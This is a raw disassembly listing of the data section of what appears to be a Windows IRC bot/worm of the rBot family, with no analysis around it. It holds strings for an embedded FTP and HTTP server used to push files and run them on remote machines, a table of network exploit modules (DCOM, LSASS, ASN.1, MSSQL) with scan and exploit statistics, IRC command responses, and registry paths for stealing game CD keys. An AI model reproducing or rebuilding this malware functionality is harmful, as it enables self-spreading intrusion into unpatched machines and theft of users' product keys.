sub_405409+3AFo align 4 aPasv db 'PASV',0 ; DATA XREF: sub_405409+39Co align 10h a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405409+38Co aI: ; DATA XREF: sub_405409+378o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405409+351o aA: ; DATA XREF: sub_405409+33Do unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_405409+326o ; sub_405409+361o align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405409+316o align 4 off_426918 dd offset dword_445750 ; DATA XREF: sub_405409+302o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405409+2F2o align 10h aRest db 'REST',0 ; DATA XREF: sub_405409+2DEo align 4 a215Fuckftpd db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_405409+2CEo align 4 aSyst db 'SYST',0 ; DATA XREF: sub_405409+2BAo align 10h a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405409+2AAo align 4 aPass db 'PASS',0 ; DATA XREF: sub_405409+296o align 10h a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_405409+286o align 4 aUser_0 db 'USER',0 ; DATA XREF: sub_405409+271o ; .nsp0:0042C364o ... align 10h aSS db '%s %s',0 ; DATA XREF: sub_405409+260o align 4 a220Fuckftpd0wn db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405409+1D8o align 10h aRb db 'rb',0 ; DATA XREF: sub_405A89+24o ; sub_406C3E+12Eo ... align 4 unk_4269B4 db 2 ; DATA XREF: sub_405B23+3F8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 4 asc_4269FC db 0Dh,0Ah,0 ; DATA XREF: sub_405B23+2CFo align 10h asc_426A00: ; DATA XREF: sub_405B23+293o ; sub_40CE55+A8o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_405B23+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+F6o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F7E+97o ; sub_40AAD1+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F7E+83o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F7E:loc_405FE3o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_405F7E+5Eo align 10h unk_426C20 db 2 ; DATA XREF: sub_406100+28Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_426C6C db 2 ; DATA XREF: sub_406100+20Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_426CB0: ; DATA XREF: sub_406100+157o ; .nsp0:0042E00Co unicode 0, <*>,0 asc_426CB4: ; DATA XREF: sub_406100+FBo ; sub_4063B0+29o ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: sub_406100+EAo ; sub_4063B0+4CAo ... align 10h aS_1 db '%s',0 ; DATA XREF: sub_406100+3Ao ; sub_40A621+4Co ... align 4 aS_2 db '\%s',0 ; DATA XREF: sub_406100+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+64Eo align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+633o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_4063B0+618o align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+589o align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4063B0+561o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4063B0:loc_4068C8o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4063B0+511o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4063B0+471o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+434o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4063B0+401o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4063B0:loc_406772o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4063B0+3BBo align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_4063B0+374o align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+330o ; sub_4063B0+486o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4063B0+30Eo align 10h aS_0 db '<%s>',0 ; DATA XREF: sub_4063B0+2E4o ; sub_4063B0+413o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4063B0+2BAo aAm db 'AM',0 ; DATA XREF: sub_4063B0+290o align 4 aPm db 'PM',0 ; DATA XREF: sub_4063B0+285o align 10h a__0: ; DATA XREF: sub_4063B0+24Do unicode 0, <.>,0 a__ db '..',0 ; DATA XREF: sub_4063B0+232o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+1C0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+147o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+12Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+F7o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4063B0+ADo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4063B0+78o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406B1D+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_42716C dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_406C3E+493o dword_427178 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_406C3E+47Fo dd 2029206Ch, 2BBBB02h aFileSentToSExe db ' File sent to %s, executing %s on remote machine.',0 align 4 unk_4271C8 db 2 ; DATA XREF: sub_406C3E+3B6o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundOn db ' File not found on %s, (%s).',0 align 4 dword_427204 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_406C3E+399o unk_427218 db 2 ; DATA XREF: sub_406C3E+33Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFileSentToSE_0 db 'File sent to %s, executing %s on remote machine.',0 align 4 unk_42726C db 2 ; DATA XREF: sub_406C3E+15Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToOpenFi db 'Failed to open file: %s (possible virus scan!)',0 align 4 unk_4272BC db 2 ; DATA XREF: sub_406C3E+6Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0 aOctet db 'octet',0 ; DATA XREF: sub_406C3E+Fo align 10h aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_40778B+164o db 2 dup(0) aDcom135 db 'Dcom135',0 ; DATA XREF: .nsp0:00404ACFo align 4 dd 5 dup(0) dword_427338 dd 87h ; DATA XREF: sub_407135+1Er ; sub_40CE55+2F87r ... off_42733C dd offset sub_4033CB ; DATA XREF: sub_40778B+1E6r dword_427340 dd 0 ; DATA XREF: sub_402DDD+193w ; sub_402DDD+199r ... dword_427344 dd 1 ; DATA XREF: sub_407276+1Fr dword_427348 dd 0 ; DATA XREF: sub_407276:loc_4074E7r aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 4033CBh, 0 dd 1, 0 aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'Dcom1025',0 align 4 dd 5 dup(0) dd 401h, 4033CBh, 0 dd 1, 0 aDcass db 'dcass',0 align 4 dd 63640000h, 737361h, 6 dup(0) dd 1BDh, 402F84h, 0 dd 2 dup(1), 7361736Ch, 35343473h, 736C0000h, 34737361h dd 3534h, 5 dup(0) dd 1BDh, 403C8Bh, 0 dd 2 dup(1), 7361736Ch, 35333173h, 736C0000h, 31737361h dd 3533h, 5 dup(0) dd 87h, 403C8Bh, 0 dd 2 dup(1), 7361736Ch, 39333173h, 736C0000h, 31737361h dd 3933h, 5 dup(0) dd 8Bh, 403C8Bh, 0 dd 2 dup(1), 61736C63h, 7373h, 6C630000h, 73736173h, 6 dup(0) dd 1BDh, 402DDDh, 0 dd 2 dup(1), 6C31736Ch, 73h, 736C0000h, 736C31h, 6 dup(0) dd 1BDh, 403E3Ch, 0 dd 2 dup(1), 7173736Dh, 6Ch, 736D0000h, 6C7173h, 6 dup(0) dd 599h, 404F08h, 0 dd 2 dup(1), 316E7361h, 6E626D73h, 736D0074h, 737361h dd 6 dup(0) dd 599h, 405168h, 0 dd 2 dup(1), 6C616572h, 74736163h, 65520000h, 61636C61h dd 7473h, 5 dup(0) dd 22Ah, 4052FCh, 0 dd 1, 0 aAsn1http db 'asn1http',0 align 2 aAsn1http_0 db 'asn1http',0 align 4 dd 5 dup(0) dd 50h, 404907h, 0 dd 2 dup(1), 316E7361h, 626D73h, 73610000h, 6D73316Eh dd 62h, 5 dup(0) dd 1BDh, 404907h, 0 dd 2 dup(1), 7361736Dh, 73h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 404907h, 0 dd 2 dup(1), 0 aAsn1smbnt db 'asn1smbnt',0 byte_4276A2 db 1 ; DATA XREF: sub_40CE55:loc_411958r ; sub_40CE55+4B0Do aMsass db 'msass',0 align 4 dd 100h, 3 dup(0) aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407135+81o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_407135+42o align 4 unk_4276DC db 2 ; DATA XREF: sub_407135+11o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_427714 db 2 ; DATA XREF: sub_4071FF+42o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_427748 db 2 ; DATA XREF: sub_4071FF+2Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 4 unk_42777C db 2 ; DATA XREF: sub_407276+36Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 unk_4277C4 db 2 ; DATA XREF: sub_407276+307o ; sub_40CE55+5039o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 4 dword_427814 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_407276+267o dd 2029206Ch, 2BBBB02h aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 4 dword_427858 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_407276+1FAo dd 2029206Ch, 2BBBB02h aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 unk_4278AC db 2 ; DATA XREF: sub_407276+149o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_1 db 'Failed to start server, error: <%d>.',0 align 4 unk_4278F4 db 2 ; DATA XREF: sub_407276+DBo ; sub_40CE55+4EC3o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStarte_0 db 'Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_407652+38o ; sub_40A171+46o unk_427954 db 2 ; DATA XREF: sub_40778B+EBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 unk_427990 db 2 ; DATA XREF: sub_40778B+93o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 10h unk_4279E0 db 2 ; DATA XREF: sub_40799F+1CEo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_427A38 db 2 ; DATA XREF: sub_40799F+173o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_427A88 db 2 ; DATA XREF: sub_40799F+103o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_427AD4 db 2 ; DATA XREF: sub_40799F+87o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 10h unk_427B20 db 2 ; DATA XREF: sub_407BFE+156o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 align 10h unk_427B70 db 2 ; DATA XREF: sub_407BFE+E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 unk_427BC8 db 2 ; DATA XREF: sub_407D86+1AAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 align 4 unk_427C1C db 2 ; DATA XREF: sub_407D86+E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_427C74 db 2 ; DATA XREF: sub_40800A+1B2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_4 db 'Failed to start server on Port %d.',0 align 4 unk_427CB8 db 2 ; DATA XREF: sub_40800A+18Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0 unk_427D04 db 2 ; DATA XREF: sub_40800A+114o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_427D5C db 2 ; DATA XREF: sub_40800A+A8o ; sub_40CE55+587Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStarte_1 db 'Server started on: %s:%d.',0 align 4 unk_427D98 db 2 ; DATA XREF: sub_40820F+1F9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0 unk_427DEC db 2 ; DATA XREF: sub_40820F+18Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0 dword_427E3C dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h ; DATA XREF: sub_40820F+F2o dd 206C1F64h, 0BB022029h, 202002BBh, 68747541h, 69746E65h dd 69746163h, 66206E6Fh, 656C6961h, 52202E64h, 746F6D65h dd 73752065h, 64697265h, 7325203Ah, 203D2120h, 2E7325h dd 0 dd 80000001h off_427E94 dd offset aSoftwareValveC ; DATA XREF: sub_4085D3+Cr ; sub_4085D3+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_427EA0 dd 2 dup(0) ; DATA XREF: sub_4085D3+26o dd 80000001h, 429028h, 42901Ch, 42900Ch, 2 dup(0) dd 80000001h, 428FECh, 428FE8h, 428FD4h, 2 dup(0) dd 80000001h, 428FB0h, 428FE8h, 428FA4h, 2 dup(0) dd 80000001h, 428F80h, 428F78h, 428F64h, 2 dup(0) dd 80000001h, 428F50h, 428F40h, 428F24h, 2 dup(0) dd 80000001h, 428EE0h, 429068h, 428ECCh, 2 dup(0) dd 80000002h, 428EA0h, 428E94h, 428E74h, 2 dup(0) dd 80000002h, 428E40h, 429068h, 428E28h, 2 dup(0) dd 80000002h, 428DF4h, 429068h, 428DDCh, 2 dup(0) dd 80000002h, 428DC4h, 429068h, 428DACh, 2 dup(0) dd 80000002h, 428D70h, 438FDCh, 428D60h, 2 dup(0) dd 80000002h, 428D28h, 438FDCh, 428D14h, 2 dup(0) dd 80000002h, 428CC8h, 438FDCh, 428CA8h, 2 dup(0) dd 80000002h, 428C58h, 438FDCh, 428C2Ch, 2 dup(0) dd 80000002h, 428BF0h, 438FDCh, 428BDCh, 2 dup(0) dd 80000002h, 428BA4h, 438FDCh, 428B94h, 2 dup(0) dd 80000002h, 428B44h, 438FDCh, 428B18h, 2 dup(0) dd 80000002h, 428AD8h, 438FDCh, 428ABCh, 2 dup(0) dd 80000002h, 428A8Ch, 438FDCh, 428A6Ch, 2 dup(0) dd 80000002h, 428A30h, 438FDCh, 428A1Ch, 2 dup(0) dd 80000002h, 4289D4h, 438FDCh, 4289B4h, 2 dup(0) dd 80000002h, 428960h, 438FDCh, 428930h, 2 dup(0) dd 80000002h, 4288E0h, 438FDCh, 4288B4h, 2 dup(0) dd 80000002h, 428874h, 42886Ch, 42884Ch, 2 dup(0) dd 80000002h, 428808h, 438FDCh, 4287ECh, 2 dup(0) dd 80000002h, 4287A0h, 438FDCh, 42877Ch, 2 dup(0) dd 80000002h, 428748h, 438FDCh, 42873Ch, 2 dup(0) dd 80000002h, 428708h, 438FDCh, 4286FCh, 2 dup(0) dd 80000002h, 4286C8h, 438FDCh, 4286BCh, 2 dup(0) dd 80000002h, 428688h, 438FDCh, 42867Ch, 2 dup(0) dd 80000002h, 428640h, 438FDCh, 42862Ch, 2 dup(0) dd 80000002h, 4285F0h, 438FDCh, 4285DCh, 2 dup(0) dd 80000002h, 4285ACh, 429068h, 428590h, 2 dup(0) dd 80000002h, 428570h, 428568h, 428544h, 2 dup(0) dd 80000002h, 428528h, 428568h, 428508h, 2 dup(0) dd 80000002h, 4284E8h, 428568h, 4284C4h, 2 dup(0) dd 80000002h, 4284ACh, 428568h, 4284A8h, 2 dup(0) dd 80000002h, 42848Ch, 42847Ch, 428474h, 2 dup(0) dd 80000002h, 428440h, 42843Ch, 428424h, 2 dup(0) dd 80000002h, 4283E8h, 4283DCh, 4283B4h, 4283A4h, 428390h dd 80000002h, 42836Ch, 428360h, 42834Ch, 42833Ch, 428334h dd 80000002h, 42836Ch, 428360h, 